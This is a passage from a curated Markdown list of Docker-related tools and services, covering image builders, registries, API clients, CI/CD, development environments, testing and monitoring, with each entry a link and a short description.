- [ansible-bender](https://github.com/ansible-community/ansible-bender) - A tool utilising `ansible` and `buildah` by [@TomasTomecek][tomastomecek]
- [buildah](https://github.com/containers/buildah) - A tool that facilitates building OCI images by [@containers][containers]
- [BuildKit](https://github.com/moby/buildkit) - Concurrent, cache-efficient, and Dockerfile-agnostic builder toolkit by [@moby project](https://github.com/moby)
- [cekit](https://github.com/cekit/cekit) - A tool used by openshift to build base images using different build engines by [@cekit](https://github.com/cekit).
- [container-diff](https://github.com/GoogleContainerTools/container-diff) - An image tool for comparing and analyzing container images by [@GoogleContainerTools][googlecontainertools]
- [container-factory](https://github.com/mutable/container-factory) - Produces Docker images from tarballs of application source code by [@mutable](https://github.com/mutable)
- [copy-docker-image](https://github.com/mdlavin/copy-docker-image) - Copy a Docker image between registries without a full Docker installation by [@mdlavin](https://github.com/mdlavin)
- [Derrick](https://github.com/alibaba/derrick) - A tool help you to automate the generation of Dockerfile and dockerize application by scanning the code. By [@alibaba](https://github.com/alibaba).
- [dlayer](https://github.com/orisano/dlayer) - docker layer analyzer by [@orisano](https://github.com/orisano)
- [docker-companion](https://github.com/mudler/docker-companion) - A command line tool written in Golang to squash and unpack docker images by [@mudler](https://github.com/mudler/)
- [docker-make](https://github.com/CtripCloud/docker-make) - Build, tag,and push a bunch of related docker images via a single command.
- [docker-replay](https://github.com/bcicen/docker-replay) - Generate `docker run`command and options from running containers. By [bcicen](https://github.com/bcicen)
- [DockerMake](https://github.com/avirshup/DockerMake) - A reproducible Docker image build system for complex software stacks. By [@avirshup](https://github.com/avirshup)
- [DockerSlim](https://github.com/docker-slim/docker-slim) shrinks fat Docker images creating the smallest possible images.
- [Dockly](https://github.com/swipely/dockly) - Dockly is a gem made to ease the pain of packaging an application in Docker by [@swipely](https://github.com/swipely/)
- [dockramp](https://github.com/jlhawn/dockramp) :skull: - Proof of Concept: A Client Driven Docker Image Builder by [@jlhawn](https://github.com/jlhawn)
- [essex](https://github.com/utensils/essex) - Boilerplate for Docker Based Projects: Essex is a CLI utility written in bash to quickly setup clean and consistent Docker projects with Makefile driven workflows. [@jamesbrink](https://github.com/jamesbrink)
- [HPC Container Maker](https://github.com/NVIDIA/hpc-container-maker) - Generates Dockerfiles from a high level Python recipe, including building blocks for High-Performance Computing components by [@NVIDIA][nvidia]
- [img](https://github.com/genuinetools/img) - Standalone, daemon-less, unprivileged Dockerfile and OCI compatible container image builder by [@genuinetools][genuinetools]
- [kaniko](https://github.com/GoogleContainerTools/kaniko) - Build Container Images In Kubernetes. By [@GoogleContainerTools][googlecontainertools]
- [makisu](https://github.com/uber/makisu) - Uber's fast and flexible unprivileged image builder for Mesos and Kubernetes, with distributed cache support. By [@uber](https://github.com/uber)
- [packer](https://developer.hashicorp.com/packer/plugins/builders/docker) - Hashicorp tool to build machine images including docker image integrated with configuration management tools like chef, puppet, ansible
- [portainer](https://github.com/duedil-ltd/portainer) - Apache Mesos framework for building Docker images by [@duedil-ltd](https://github.com/duedil-ltd)
- [Production-Ready Python Containers :heavy_dollar_sign:](https://pythonspeed.com/products/pythoncontainer/) - A template for creating production-ready Docker images for Python applications.
- [RAUDI](https://github.com/cybersecsi/RAUDI) - A tool to automatically update (and optionally push to Docker Hub) Docker Images for 3rd party software whenever theres is a new release/update/commit. By [@SecSI](https://github.com/cybersecsi)
- [runlike](https://github.com/lavie/runlike) - Generate `docker run`command and options from running containers by [@lavie](https://github.com/lavie)
- [SkinnyWhale](https://github.com/djosephsen/skinnywhale) :skull: - Skinnywhale helps you make smaller (as in megabytes) Docker containers.
- [Smith](https://github.com/oracle/smith) - A Micocontainer Builder and can perform multi-stage builds after the image is built [Oracle][oracle]
- [userdef](https://github.com/theAkito/userdef) - An advanced `adduser` for your Alpine based Docker images. Made by [Akito][akito]
- [Whaler](https://github.com/P3GLEG/Whaler) - Program to reverse Docker images into Dockerfiles by [@P3GLEG](https://github.com/P3GLEG/).
- [Whales](https://github.com/Gueils/whales) - A tool to automatically dockerize your applications by [@icalialabs](https://github.com/IcaliaLabs).
### Dockerfile
- [chaperone-docker](https://github.com/garywiz/chaperone-docker) - A set of images using the Chaperone process manager, including a lean Alpine image, LAMP, LEMP, and bare-bones base kits.
- [Dockerfile Generator](https://github.com/ozankasikci/dockerfile-generator) `dfg` is both a Go library and an executable that produces valid Dockerfiles using various input channels.
- [Dockerfile Project](https://dockerfile.github.io/) - Trusted Automated Docker Builds. Dockerfile Project maintains a central repository of Dockerfile for various popular open source software services runnable on a Docker container.
- [dockerfilegraph](https://github.com/patrickhoefler/dockerfilegraph) - Visualize your multi-stage Dockerfiles. By [@PatrickHoefler](https://github.com/patrickhoefler)
- [Dockershelf](https://github.com/Dockershelf/dockershelf) - A repository that serves as a collector for docker recipes that are universal, efficient and slim. Images are updated, tested and published daily via a Travis cron job. Maintained by [@CollageLabs](https://github.com/CollageLabs).
- [dockmoor](https://github.com/MeneDev/dockmoor) :construction: - Manage docker image references and help to create reproducible builds with Docker. By [@MeneDev](https://github.com/MeneDev)
- [Vektorcloud](https://github.com/vektorcloud) - A collection of minimal, Alpine-based Docker images
Examples by:
- [@0xy](https://gitlab.com/0xy/dockerfiles)
- [@arun-gupta](https://github.com/arun-gupta/docker-images)
- [@awesome-startup](https://github.com/awesome-startup/docker-compose)
- [@crosbymichael](https://github.com/crosbymichael/Dockerfiles)
- [@jessfraz](https://github.com/jessfraz/dockerfiles)
- [@komljen](https://github.com/komljen/dockerfile-examples)
- [@kstaken](https://github.com/kstaken/dockerfile-examples)
- [@ondrejmo](https://github.com/ondrejmo/Dockerfiles)
- [@vimagick](https://github.com/vimagick/dockerfiles)
### Linter
- [docker-image-size-limit](https://github.com/wemake-services/docker-image-size-limit) - A tool to keep an eye on your docker images size.
- [Dockerfile Linter action](https://github.com/buddy-works/dockerfile-linter) - The linter lets you verify Dockerfile syntax to make sure it follows the best practices for building efficient Docker images.
- [dockfmt](https://github.com/jessfraz/dockfmt) :construction: - Dockerfile formatter and parser by [@jessfraz][jessfraz]
- [FROM:latest](https://github.com/replicatedhq/dockerfilelint) - An opinionated Dockerfile linter by [@replicatedhq](https://github.com/replicatedhq)
- [Hadolint](https://github.com/hadolint/hadolint) - A Dockerfile linter that checks for best practices, common mistakes, and is also able to lint any bash written in `RUN` instructions; by [@lukasmartinelli](https://github.com/lukasmartinelli)
- [Whale-linter](https://github.com/jeromepin/whale-linter) - A simple and small Dockerfile linter written in Python3+ without dependencies by [@jeromepin](https://github.com/jeromepin)
### Metadata
- [opencontainer](https://github.com/opencontainers/image-spec/blob/master/annotations.md) - A convention and shared namespace for Docker labels defined by OCI Image Spec.
### Registry
Services to securely store your Docker images.
- [Amazon Elastic Container Registry :heavy_dollar_sign:](https://aws.amazon.com/ecr/) - Amazon Elastic Container Registry (ECR) is a fully-managed Docker container registry that makes it easy for developers to store, manage, and deploy Docker container images.
- [Azure Container Registry :heavy_dollar_sign:](https://azure.microsoft.com/en-us/products/container-registry/#overview) - Manage a Docker private registry as a first-class Azure resource
- [CargoOS](https://github.com/RedCoolBeans/cargos-buildroot) - A bare essential OS for running the Docker Engine on bare metal or Cloud. By [@RedCoolBeans](https://github.com/RedCoolBeans)
- [cleanreg](https://github.com/hcguersoy/cleanreg) - A small tool to delete image manifests from a Docker Registry implementing the API v2, dereferencing them for the GC by [@hcguersoy](https://github.com/hcguersoy)
- [Cloudsmith :heavy_dollar_sign:](https://cloudsmith.com/product/formats/docker-registry) - A fully managed package management SaaS, with first-class support for public and private Docker registries (and many others, incl. Helm charts for the Kubernetes ecosystem). Has a generous free-tier and is also completely free for open-source.
- [Container Registry Service :heavy_dollar_sign:](https://container-registry.com/) - Harbor based Container Management Solution as a Service for teams and organizations. Free tier offers 1 GB storage for private repositories.
- [Cycle.io :heavy_dollar_sign:](https://cycle.io/) - Bare-metal container hosting.
- [DigitalOcean :heavy_dollar_sign:](https://www.digitalocean.com/products/container-registry) - DigitalOcean Container Registry.
- [Docker Hub](https://hub.docker.com/) provided by Docker Inc.
- [Docker Registry v2][distribution] - The Docker toolset to pack, ship, store, and deliver content
- [Docket](https://github.com/netvarun/docket) - Custom docker registry that allows for lightning fast deploys through bittorrent by [@netvarun](https://github.com/netvarun/)
- [Dragonfly](https://github.com/dragonflyoss/Dragonfly2) - Provide efficient, stable and secure file distribution and image acceleration based on p2p technology.
- [GCE Container Registry :heavy_dollar_sign:](https://cloud.google.com/artifact-registry) Fast, private Docker image storage on Google Cloud Platform
- [GitLab Container Registry](https://docs.gitlab.com/ee/user/packages/container_registry/) - Registry focused on using its images in GitLab CI
- [Harbor](https://github.com/goharbor/harbor) An open source trusted cloud native registry project that stores, signs, and scans content. Supports replication, user management, access control and activity auditing. By [CNCF](https://www.cncf.io) formerly [VMWare][vmware]
- [JFrog Artifactory :heavy_dollar_sign:](https://jfrog.com/artifactory/) - Artifact Repository Manager, can be used as private Docker Registry as well
- [Kraken](https://github.com/uber/kraken) - Uber's Highly scalable P2P docker registry, capable of distributing TBs of data in seconds.
- [Portus](https://github.com/SUSE/Portus) - Authorization service and frontend for Docker registry (v2) by [@SUSE](https://github.com/SUSE)
- [Quay.io :heavy_dollar_sign:](https://quay.io/) (part of CoreOS) - Secure hosting for private Docker repositories
- [Registryo](https://github.com/inmagik/registryo) - UI and token based authentication server for onpremise docker registry
- [Rescoyl](https://github.com/noteed/rescoyl) - Private Docker registry (free and open source) by [@noteed](https://github.com/noteed)
- [Sonatype Nexus Repository](https://www.sonatype.com/products/sonatype-nexus-repository) - Manage binaries and build artifacts across your software supply chain.
- [TreeScale](https://github.com/treescale) - Build and Distribute container based applications. By [@tigranbs](https://github.com/tigranbs)
## Development with Docker
### API Client
- [ahab](https://github.com/instacart/ahab) - Docker event handling with Python by [@instacart](https://github.com/instacart)
- [clj-docker-client](https://github.com/into-docker/clj-docker-client) :skull: - Idiomatic Clojure client for the Docker remote API. By [@lispyclouds][lispyclouds]
- [contajners](https://github.com/lispyclouds/contajners) - An idiomatic, data-driven, REPL friendly Clojure client for OCI container engines. By [@lispyclouds][lispyclouds]
- [Docker Client for JVM](https://github.com/gesellix/docker-client) - A Docker remote api client library for the JVM, written in Groovy by [@gesellix][gesellix]
- [Docker Client TypeScript](https://gitlab.com/masaeedu/docker-client) - Docker API client for JavaScript, automatically generated from Swagger API definition from moby repository. By [@masaeedu](https://github.com/masaeedu)
- [docker-client](https://github.com/spotify/docker-client) :skull: - Java client for the Docker remote API. By [@spotify][spotify]
- [docker-it-scala](https://github.com/whisklabs/docker-it-scala) - Docker integration testing kit with Scala by [@whisklabs](https://github.com/whisklabs)
- [docker-java-api](https://github.com/amihaiemil/docker-java-api) - Lightweight, truly object-oriented, Java client for Docker's API. By [@amihaiemil](https://github.com/amihaiemil)
- [docker-maven-plugin](https://github.com/fabric8io/docker-maven-plugin) - A Maven plugin for running and creating Docker images by [@fabric8io](https://github.com/fabric8io)
- [Docker-PowerShell](https://github.com/Microsoft/Docker-PowerShell) - PowerShell Module for Docker
- [Docker.DotNet](https://github.com/Microsoft/Docker.DotNet) - C#/.NET HTTP client for the Docker remote API by [@ahmetb](https://github.com/ahmetb)
- [Docker.Registry.DotNet](https://github.com/ChangemakerStudios/Docker.Registry.DotNet) - .NET (C#) Client Library for interacting with a Docker Registry API (v2) [@rquackenbush](https://github.com/rquackenbush)
- [dockerfile-maven](https://github.com/spotify/dockerfile-maven) - A Maven plugin for building and pushing Docker images by [@spotify][spotify]
- [dockerode](https://github.com/apocas/dockerode) - Docker Remote API node.js module by [@apocas](https://github.com/apocas)
- [DoMonit](https://github.com/eon01/DoMonit) - A simple Docker Monitoring wrapper For Docker API
- [go-dockerclient](https://github.com/fsouza/go-dockerclient/) - Go HTTP client for the Docker remote API by [@fsouza](https://github.com/fsouza/)
- [Gradle Docker plugin](https://github.com/gesellix/gradle-docker-plugin) - A Docker remote api plugin for Gradle by [@gesellix][gesellix]
- [libcompose](https://github.com/docker/libcompose) - Go library for Docker Compose.
- [Portainer stack utils](https://github.com/greenled/portainer-stack-utils) :construction: - Bash script to deploy/update/undeploy Docker stacks in a Portainer instance from a docker-compose yaml file. By [@greenled](https://github.com/greenled).
- [sbt-docker-compose](https://github.com/Tapad/sbt-docker-compose) - Integrates Docker Compose functionality into sbt by [@kurtkopchik](https://github.com/kurtkopchik/)
- [sbt-docker](https://github.com/marcuslonnberg/sbt-docker) - Create Docker images directly from sbt by [@marcuslonnberg](https://github.com/marcuslonnberg)
### CI/CD
- [Buddy :heavy_dollar_sign:](https://buddy.works) - The best of Git, build & deployment tools combined into one powerful tool that supercharged our development.
- [Captain](https://github.com/harbur/captain) - Convert your Git workflow to Docker containers ready for Continuous Delivery by [@harbur](https://github.com/harbur).
- [Cyclone](https://github.com/caicloud/cyclone) - Powerful workflow engine and end-to-end pipeline solutions implemented with native Kubernetes resources by [@caicloud](https://github.com/caicloud).
- [Depot :heavy_dollar_sign:](https://depot.dev) - Build Docker images fast, in the cloud. Blazing fast compute, automatic intelligent caching, and zero configuration. [Done in seconds](https://depot.dev/#benchmarks).
- [Diun](https://github.com/crazy-max/diun) - Receive notifications when an image or repository is updated on a Docker registry by [@crazy-max].
- [Docker plugin for Jenkins](https://github.com/jenkinsci/docker-plugin/) - The aim of the docker plugin is to be able to use a docker host to dynamically provision a slave, run a single build, then tear-down that slave.
- [Dockupdater](https://github.com/dockupdater/dockupdater) - Automatically keep your docker services and your docker containers up-to-date
- [Drone](https://github.com/drone/drone) - Continuous integration server built on Docker and configured using YAML files.
- [GitLab Runner](https://gitlab.com/gitlab-org/gitlab-runner) - GitLab has integrated CI to test, build and deploy your code with the use of GitLab runners.
- [GOCD-Docker](https://github.com/gocd/gocd-docker) :skull: - Go Server and Agent in docker containers to provision.
- [Jaypore CI](https://github.com/theSage21/jaypore_ci) - Simple, very flexible, powerful CI / CD / automation system configured in Python. Offline and local first.
- [Kraken CI](https://github.com/Kraken-CI/kraken) - Modern CI/CD, open-source, on-premise system that is highly scalable and focused on testing. One of its executors is Docker. Developed by [@Kraken-CI](https://github.com/Kraken-CI).
- [Microservices Continuous Deployment](https://github.com/francescou/docker-continuous-deployment) - Continuous deployment of a microservices application.
- [mu](https://github.com/stelligent/mu) - Tool to configure CI/CD of your container applications via AWS CodePipeline, CodeBuild and ECS [@Stelligent](https://github.com/stelligent)
- [Ouroboros](https://github.com/pyouroboros/ouroboros) :skull: - Automatically update running Docker containers with notifications
- [Popper](https://github.com/systemslab/popper) - Github actions workflow (HCL syntax) execution engine.
- [Screwdriver :heavy_dollar_sign:](https://screwdriver.cd/) - Yahoo's OpenSource buildplatform designed for Continous Delivery.
- [Skipper](https://github.com/Stratoscale/skipper) - Easily dockerize your Git repository by [@Stratoscale](https://github.com/Stratoscale)
- [SwarmCI](https://github.com/ghostsquad/swarmci) - Create a distributed, isolated task pipeline in your Docker Swarm.
- [Watchtower](https://github.com/containrrr/watchtower) - Automatically update running Docker containers
### Development Environment
- [batect](https://github.com/batect/batect) - build and testing environments as code tool: Dockerised build and testing environments made easy by [@charleskorn](https://github.com/charleskorn)
- [Binci](https://github.com/binci/binci) - Containerize your development workflow. (formerly DevLab by [@TechnologyAdvice](https://github.com/TechnologyAdvice))
- [Boot2Docker](https://github.com/boot2docker/boot2docker) :skull: - Docker for OSX and Windows
- [coder](https://github.com/coder/coder) - remote development machines powered by Terraform or Docker by [@coder](https://github.com/coder)
- [construi](https://github.com/lstephen/construi) - Run your builds inside a Docker defined environment by [@lstephen](https://github.com/lstephen)
- [Crashcart](https://github.com/oracle/crashcart) - Sideload Linux binaries into a running container for troubleshooting by [@Oracle][oracle]
- [dde](https://github.com/whatwedo/dde) :construction: - Local development environment toolset based on Docker. By [@whatwedo](https://github.com/whatwedo)
- [Devstep](https://github.com/fgrehm/devstep) :skull: - Development environments powered by Docker and buildpacks by [@fgrehm][fgrehm]
- [Dinghy](https://github.com/codekitchen/dinghy) - An alternative way to use Docker on Mac OS X using Docker Machine with virtualbox, vmware, xhyve or parallels
- [DIP](https://github.com/bibendi/dip) - CLI utility for straightforward provisioning and interacting with an application configured by docker-compose. By [@bibendi](https://github.com/bibendi)
- [DLite](https://github.com/nlf/dlite) :skull: - Simplest way to use Docker on OSX, no VM needed. By [@nlf](https://github.com/nlf)
- [dobi](https://github.com/dnephin/dobi) - A build automation tool for Docker applications. By [@dnephin](https://github.com/dnephin)
- [Docker Missing Tools](https://github.com/nandoquintana/docker-missing-tools) - A set of bash commands to shortcut typical docker dev-ops. An alternative to creating typical helper scripts like "build.sh" and "deploy.sh" inside code repositories. By [@NandoQuintana](https://github.com/nandoquintana).
- [Docker osx dev](https://github.com/brikis98/docker-osx-dev) :skull: - A productive development environment with Docker on OS X by [@brikis98](https://github.com/brikis98)
- [Docker-Arch](https://github.com/Ph3nol/Docker-Arch) - Generate Web/CLI projects Dockerized development environments, from 1 simple YAML file. By [@Ph3nol](https://github.com/ph3nol)
- [docker-setup](https://github.com/nicholasdille/docker-setup) - Install, configure and update container tools. By [@nicholasdille](https://twitter.com/nicholasdille)
- [Docker-sync](https://github.com/EugenMayer/docker-sync) - Drastically improves performance ([50-70x](https://github.com/EugenMayer/docker-sync/wiki/4.-Performance)) when using Docker for development on Mac OS X/Windows and Linux while sharing code to the container. By [@EugenMayer](https://github.com/EugenMayer)
- [docker-vm](https://github.com/shyiko/docker-vm) - Simple and transparent alternative to boot2docker (backed by Vagrant) by [@shyiko](https://github.com/shyiko)
- [DockerBuildManagement](https://github.com/DIPSAS/DockerBuildManagement) - Build Management is a python application, installed with pip. The application makes it easy to manage a build system based on Docker by configuring a single yaml file describing how to build, test, run or publish a containerized solution.
- [DockerDL](https://github.com/matifali/dockerdl) - Deep Learning Docker Images. Don't waste time setting up a deep learning env when you can get a deep learning environment with everything pre-installed.
- [Dusty](https://github.com/gamechanger/dusty) - Managed Docker development environments on OS X
- [Eclipse Che](https://github.com/eclipse/che) - Developer workspace server with Docker runtimes, cloud IDE, next-generation Eclipse IDE
- [EnvCLI](https://github.com/EnvCLI/EnvCLI) - Replace your local installation of Node, Go, ... with project-specific docker containers. By [@EnvCLI](https://github.com/EnvCLI)
- [footloose](https://github.com/weaveworks/footloose) - Spin containers that look like Virtual Machines - By [@dlespiau](https://github.com/dlespiau)
- [forward2docker](https://github.com/bsideup/forward2docker) :skull: - Utility to auto forward a port from localhost into ports on Docker containers running in a boot2docker VM by [@bsideup](https://github.com/bsideup)
- [Gebug](https://github.com/moshebe/gebug) - A tool that makes debugging of Dockerized Go applications super easy by enabling Debugger and Hot-Reload features, seamlessly.
- [Kitt](https://github.com/senges/kitt) - A portable and disposable Shell environment, based on Docker and Nix. By [@senges](https://github.com/senges)
- [Lando](https://github.com/lando/lando) - Lando is for developers who want to quickly specify and painlessly spin up the services and tools needed to develop their projects. By [Tandem](https://thinktandem.io/)
- [Rust Universal Compiler](https://github.com/Peco602/rust-universal-compiler) - Container solution to compile Rust projects for Linux, macOS and Windows. By [@Peco602][peco602]
- [Vagga](https://github.com/tailhook/vagga) - Vagga is a containerisation tool without daemons. It is a fully-userspace container engine inspired by Vagrant and Docker, specialized for development environments by [@tailhook](https://github.com/tailhook/)
- [Zsh-in-Docker](https://github.com/deluan/zsh-in-docker) - Install Zsh, Oh-My-Zsh and plugins inside a Docker container with one line! By [Deluan](https://www.deluan.com)
### Garbage Collection
- [caduc](https://github.com/tjamet/caduc) - A docker garbage collector cleaning stuff you did not use recently
- [Docker Clean](https://github.com/ZZROTDesign/docker-clean) - A script that cleans Docker containers, images and volumes by [@zzrotdesign](https://github.com/ZZROTDesign)
- [docker_gc](https://github.com/pdacity/docker_gc) - Image for automatic removing unused Docker Swarm objects. Also works just as Docker Service by [@pdacity](https://github.com/pdacity)
- [Docker-cleanup](https://github.com/meltwater/docker-cleanup) :skull: - Automatic Docker image, container and volume cleanup by [@meltwater](https://github.com/meltwater)
- [docker-custodian](https://github.com/Yelp/docker-custodian) - Keep docker hosts tidy. By [@Yelp](https://github.com/Yelp)
- [docker-garby](https://github.com/konstruktoid/docker-garby) - Docker garbage collection script by [@konstruktoid](https://github.com/konstruktoid).
- [docker-gc](https://github.com/spotify/docker-gc) :skull: - A cron job that will delete old stopped containers and unused images by [@spotify][spotify]
- [sherdock](https://github.com/rancher/sherdock) :skull: - Automatic GC of images based on regexp by [@rancher][rancher]
### Serverless
- [AMP](https://github.com/appcelerator-archive/amp) :skull: - The open source unified CaaS/FaaS platform for Docker, batteries included. By [@Appcelerator](https://github.com/appcelerator-archive)
- [Apache OpenWhisk](https://github.com/apache/openwhisk) - a serverless, open source cloud platform that executes functions in response to events at any scale. By [@apache](https://github.com/apache)
- [Docker-Lambda](https://github.com/lambci/docker-lambda) - Docker images and test runners that replicate the live AWS Lambda environment. By [@lamb-ci](https://github.com/lambci)
- [Funker](https://github.com/bfirsh/funker-example-voting-app) - Functions as Docker containers example voting app. By [@bfirsh](https://github.com/bfirsh)
- [IronFunctions](https://github.com/iron-io/functions) - The serverless microservices platform FaaS (Functions as a Service) which uses Docker containers to run Any language or AWS Lambda functions
- [Koyeb](https://www.koyeb.com/) :heavy_dollar_sign: - Koyeb is a developer-friendly serverless platform to deploy apps globally. Seamlessly run Docker containers, web apps, and APIs with git-based deployment, native autoscaling, a global edge network, and built-in service mesh and discovery.
- [OpenFaaS](https://github.com/openfaas/faas) - A complete serverless functions framework for Docker and Kubernetes. By [OpenFaaS](https://github.com/openfaas)
- [SCAR](https://github.com/grycap/scar) - Serverless Container-aware Architectures (SCAR) is a serverless framework that allows easy deployment and execution of containers (e.g. Docker) in Serverless environments (e.g. Lambda) by [@grycap](https://github.com/grycap)
### Testing
- [Container Structure Test](https://github.com/GoogleContainerTools/container-structure-test) - A framework to validate the structure of an image by checking the outputs of commands or the contents of the filesystem. By [@GoogleContainerTools][googlecontainertools]
- [dgoss](https://github.com/aelsabbahy/goss/tree/master/extras/dgoss) - A fast YAML based tool for validating docker containers.
- [DockerSpec](https://github.com/zuazo/dockerspec) - A small Ruby Gem to run RSpec and Serverspec, Infrataster and Capybara tests against Dockerfiles or Docker images easily. By [@zuazo](https://github.com/zuazo)
- [Dockunit](https://github.com/dockunit/platform) :skull: - Docker based integration tests. A simple Node based utility for running Docker based unit tests. By [@dockunit](https://github.com/dockunit)
- [EZDC](https://github.com/lynchborg/ezdc) - Golang test harness for easily setting up tests that rely on services in a docker-compose.yml. By [@byrnedo]
- [InSpec][inspec] - InSpec is an open-source testing framework for infrastructure with a human- and machine-readable language for specifying compliance, security and policy requirements. By [@chef](https://github.com/chef)
- [Kurtosis](https://github.com/kurtosis-tech/kurtosis) - A composable build system for multi-container test environments that provides developers with: a powerful Python-like SDK for environment configuration, a compile-time validator to verify environment behavior & setup, and a runtime for environment execution, monitoring, & debugging capabilities. By [Kurtosis](https://www.kurtosis.com/)
- [Pull Dog](https://github.com/apps/pull-dog) - A GitHub app that automatically creates Docker-based test environments for your pull requests, from your docker-compose files. Not open source.
- [Pumba](https://github.com/alexei-led/pumba) - Chaos testing tool for Docker. Can be deployed on kubernetes and CoreOS cluster. By [@alexei-led](https://github.com/alexei-led)
### Wrappers
- [Ansible](https://docs.ansible.com/ansible/latest/collections/community/general/docker_container_module.html) - Manage the life cycle of Docker containers. By RedHat
- [Azk](https://github.com/azukiapp/azk) - Orchestrate development environments on your local machine by [@azukiapp](https://github.com/azukiapp)
- [Beluga](https://github.com/cortexmedia/Beluga) :skull: - CLI to deploy docker containers on a single server or low amount of servers. By [@cortextmedia](https://github.com/cortexmedia)
- [dexec](https://github.com/docker-exec/dexec) - Command line interface written in Go for running code with Docker Exec images.
- [dockerized](https://github.com/benzaita/dockerized-cli) - Seamlessly execute commands in a container.
- [Dray](https://github.com/CenturyLinkLabs/dray) - An engine for managing the execution of container-based workflows by [@CenturyLinkLabs][centurylinklabs]
- [FuGu](https://github.com/mattes/fugu) :skull: - Docker run wrapper without orchestration by [@mattes](https://github.com/mattes)
- [Hokusai](https://github.com/artsy/hokusai) - A Docker + Kubernetes CLI for application developers; used to containerize an application and to manage its lifecycle throughout development, testing, and release cycles. From [@artsy](https://github.com/artsy)
- [Shutit](https://github.com/ianmiell/shutit) - Tool for building and maintaining complex Docker deployments by [@ianmiell](https://github.com/ianmiell)
- [subuser](https://github.com/subuser-security/subuser) - Makes it easy to securely and portably run graphical desktop applications in Docker
- [T.A.D.S. boilerplate](https://github.com/Thomvaill/tads-boilerplate) - The power of Ansible and Terraform + the simplicity of Docker Swarm = Infrastructure as Code and DevOps best practices. By [@Thomvaill](https://github.com/Thomvaill)
- [Terraform cloud-init config](https://github.com/christippett/terraform-cloudinit-container-server) - Terraform module for deploying a single Docker image or `docker-compose.yaml` file to any Cloud™ VM
- [Turbo](https://github.com/ramitsurana/turbo) - Simple and Powerful utility for docker. By [@ramitsurana][ramitsurana]
- [udocker](https://github.com/indigo-dc/udocker) - A tool to execute simple docker containers in batch or interactive systems without root privileges by [@inidigo-dc](https://github.com/indigo-dc)
- [Vagrant - Docker provider](https://developer.hashicorp.com/vagrant/docs/providers/docker/basics) - Good starting point is [vagrant-docker-example](https://github.com/bubenkoff/vagrant-docker-example) by [@bubenkoff](https://github.com/bubenkoff)
## Services based on Docker (mostly :heavy_dollar_sign:)
### CI Services
- [CircleCI](https://circleci.com/) :heavy_dollar_sign: - Push or pull Docker images from your build environment, or build and run containers right on CircleCI.
- [CodeFresh](https://codefresh.io) :heavy_dollar_sign: - Everything you need to build, test, and share your Docker applications. Provides automated end to end testing.
- [CodeShip](https://www.cloudbees.com/products/codeship) :heavy_dollar_sign: - Work with your established Docker workflows while automating your testing and deployment tasks with our hosted platform dedicated to speed and security.
- [ConcourseCI](https://concourse-ci.org) :heavy_dollar_sign: - A CI SaaS platform for developers and DevOps teams pipeline oriented.
- [Semaphore CI](https://semaphoreci.com/) :heavy_dollar_sign: — A high-performance cloud solution that makes it easy to build, test and ship your containers to production.
- [TravisCI](https://www.travis-ci.com/) :heavy_dollar_sign: - A Free github projects continuous integration Saas platform for developers and Devops.
### CaaS
- [Amazon ECS](https://aws.amazon.com/ecs/) :heavy_dollar_sign: - A management service on EC2 that supports Docker containers.
- [Appfleet](https://appfleet.com/) :heavy_dollar_sign: - Edge platform to deploy and manage containerized services globally. The system will route the traffic to the closest location for lower latency.
- [Azure AKS](https://azure.microsoft.com/en-us/products/kubernetes-service/) :heavy_dollar_sign: - Simplify Kubernetes management, deployment, and operations. Use a fully managed Kubernetes container orchestration service.
- [Cloud 66](https://www.cloud66.com) :heavy_dollar_sign: - Full-stack hosted container management as a service
- [Dockhero](https://dockhero.io/) :heavy_dollar_sign: - Dockhero is a Heroku add-on which turns a Docker image into a microservice attached to the Heroku app. Currently in beta.
- [Giant Swarm](https://www.giantswarm.io/) :heavy_dollar_sign: - Simple microservice infrastructure. Deploy your containers in seconds.
- [Google Container Engine](https://cloud.google.com/kubernetes-engine/docs/) :heavy_dollar_sign: - Docker containers on Google Cloud Computing powered by [Kubernetes][kubernetes].
- [Mesosphere DC/OS Platform](https://d2iq.com/products/dcos) :heavy_dollar_sign: - Integrated platform for data and containers built on Apache Mesos by [@mesosphere](https://d2iq.com)
- [Red Hat CodeReady Workspaces](https://developers.redhat.com/products/openshift-dev-spaces/overview) - A collaborative Kubernetes-native solution for rapid application development that delivers consistent developer environments on Red Hat OpenShift to allow anyone with a browser to contribute code in under two minutes.
- [Red Hat OpenShift Dedicated](https://www.redhat.com/en/technologies/cloud-computing/openshift/dedicated) :heavy_dollar_sign: - Fully-managed Red Hat® OpenShift® service on Amazon Web Services and Google Cloud
- [Triton](https://www.joyent.com/) :heavy_dollar_sign: - Elastic container-native infrastructure by Joyent.
- [Virtuozzo Application Platform](https://www.virtuozzo.com/application-platform-partners/) :heavy_dollar_sign: - Deploy and manage your projects with turnkey PaaS across a wide network of reliable service providers
### Monitoring Services
- [AppDynamics](https://github.com/Appdynamics/docker-monitoring-extension) - Docker Monitoring extension gathers metrics from the Docker Remote API, either using Unix Socket or TCP.
- [Better Stack](https://betterstack.com/community/guides/scaling-docker/) :heavy_dollar_sign: - A Docker-compatible observability stack that delivers robust log aggregation and uptime monitoring capabilities for various software application.
- [Broadcom Docker Monitoring](https://www.broadcom.com/info/aiops/docker-monitoring) :heavy_dollar_sign: - Agile Operations solutions from Broadcom deliver the modern Docker monitoring businesses need to accelerate and optimize the performance of microservices and the dynamic Docker environments running them. Monitor both the Docker environment and apps that run inside them. (former CA Technologies)
- [Collecting docker logs and stats with Splunk](https://www.splunk.com/en_us/blog/tips-and-tricks/collecting-docker-logs-and-stats-with-splunk.html)
- [Datadog](https://www.datadoghq.com/) :heavy_dollar_sign: - Datadog is a full-stack monitoring service for large-scale cloud environments that aggregates metrics/events from servers, databases, and applications. It includes support for Docker, Kubernetes, and Mesos.
- [Prometheus](https://prometheus.io/) :heavy_dollar_sign: - Open-source service monitoring system and time series database
- [Site24x7](https://www.site24x7.com/docker-monitoring.html) :heavy_dollar_sign: - Docker Monitoring for DevOps and IT is a SaaS Pay per Host model
- [SPM for Docker](https://github.com/sematext/sematext-agent-docker) :heavy_dollar_sign: - Monitoring of host and container metrics, Docker events and logs. Automatic log parser. Anomaly Detection and alerting for metrics and logs. [@sematext](https://github.com/sematext)
- [Sysdig Monitor](https://sysdig.com/products/monitor/) :heavy_dollar_sign: - Sysdig Monitor can be used as either software or a SaaS service to monitor, alert, and troubleshoot containers using system calls. It has container-specific features for Docker and Kubernetes.
# Useful Resources
- **[Valuable Docker Links](http://nane.kratzke.pages.mylab.th-luebeck.de/about/blog/2014/08/24/valuable-docker-links/)** High quality articles about docker! **MUST SEE**
